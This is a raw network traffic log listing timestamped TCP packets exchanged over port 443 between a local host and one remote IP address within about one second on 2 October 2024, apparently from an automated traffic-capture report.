Oct 2, 2024 06:10:23.359563112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.359580040 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.359632015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.359637022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.359668970 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.360204935 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.360223055 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.360261917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.360269070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.360307932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.360585928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.360604048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.360635996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.360641003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.360666037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.360682011 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.361030102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.361046076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.361078978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.361083984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.361109018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.361123085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.361345053 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.361896992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.361912966 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.361953020 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.361957073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.361987114 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.362550974 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.362570047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.362590075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.362595081 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.362608910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.362646103 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.362664938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.446741104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.446757078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.446835041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.446846008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.446885109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.448705912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.448720932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.448792934 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.448800087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.448837042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.449095011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.449110031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.449136972 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.449142933 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.449170113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.449182987 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.449945927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.449976921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.449997902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.450002909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.450018883 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.450042009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.450253010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.450269938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.450310946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.450314999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.450350046 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.450504065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.450519085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.450548887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.450553894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.450567007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.450589895 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.451145887 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.451378107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.451402903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.451428890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.451432943 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.451467037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.451474905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.451622009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.451642990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.451670885 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.451674938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.451700926 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.451715946 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.544245958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544262886 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544310093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.544320107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544344902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.544353962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.544609070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544621944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544692993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.544698954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544730902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.544941902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544958115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.544987917 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.544991970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545006990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545026064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545275927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545293093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545320988 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545326948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545336962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545361042 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545578003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545593977 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545623064 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545627117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545650959 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545656919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545867920 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545886993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545913935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545918941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.545931101 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.545953989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.546108007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.546123028 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.546149015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.546152115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.546180010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.546194077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.546335936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.546353102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.546377897 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.546382904 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.546406031 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.546415091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.550553083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.634887934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.634903908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.634960890 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.634968042 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.634994984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.635010004 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.635576010 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.635591984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.635622978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.635627031 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.635657072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.635670900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.635715961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.635730982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.635756969 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.635761023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.635787010 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.635801077 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636009932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636027098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636050940 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636055946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636075974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636097908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636142969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636179924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636192083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636198044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636214018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636234999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636714935 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636791945 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636806965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636841059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636846066 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.636857986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.636878967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.637008905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.637023926 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.637054920 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.637058973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.637084007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.637104034 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.637203932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.637227058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.637254953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.637259960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.637286901 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.637300968 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.725567102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.725585938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.725678921 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.725697041 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.725735903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726267099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726283073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726325035 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726329088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726347923 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726361990 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726604939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726620913 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726651907 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726656914 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726684093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726700068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726824999 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726841927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726869106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726874113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.726895094 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.726916075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727008104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727024078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727054119 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727057934 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727078915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727094889 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727550983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727566004 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727598906 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727603912 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727626085 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727638960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727760077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727773905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727818012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.727822065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.727857113 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.728123903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.728138924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.728178024 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.728182077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.728198051 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.728219032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.820569992 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.820593119 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.820687056 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.820713997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.820759058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.821929932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.821949005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822009087 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.822014093 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822025061 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822060108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822068930 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.822073936 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822108984 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.822737932 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822752953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822807074 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.822810888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822841883 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822851896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.822854996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822884083 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822892904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.822896957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.822947025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825156927 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825172901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825217962 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825222969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825259924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825320005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825346947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825371981 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825376034 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825390100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825401068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825408936 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825412989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825433016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825449944 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825453997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.825480938 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.825499058 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.913579941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.913594007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.913796902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.913805962 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.913855076 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.914875984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.914891005 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.914944887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.914949894 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.914954901 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.914980888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.915004015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.915009022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.915024996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.915045023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.915893078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.915908098 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.915949106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.915954113 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.915972948 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.915993929 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.916690111 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.916703939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.916748047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.916754007 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.916790009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.917598009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.917614937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.917658091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.917664051 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.917696953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.918553114 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.918569088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.918606043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.918610096 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.918634892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.918646097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.918651104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.918658972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:23.918677092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:23.918708086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.010174990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.010191917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.010286093 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.010293961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.010333061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.012509108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.012523890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.012593985 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.012600899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.012634039 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.013004065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.013021946 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.013067007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.013072968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.013108015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.013838053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.013853073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.013902903 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.013907909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.013942003 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.014323950 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.014338970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.014385939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:24.014391899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:24.014429092 CEST	49744	443	192.168.2.4	167.114.14.168
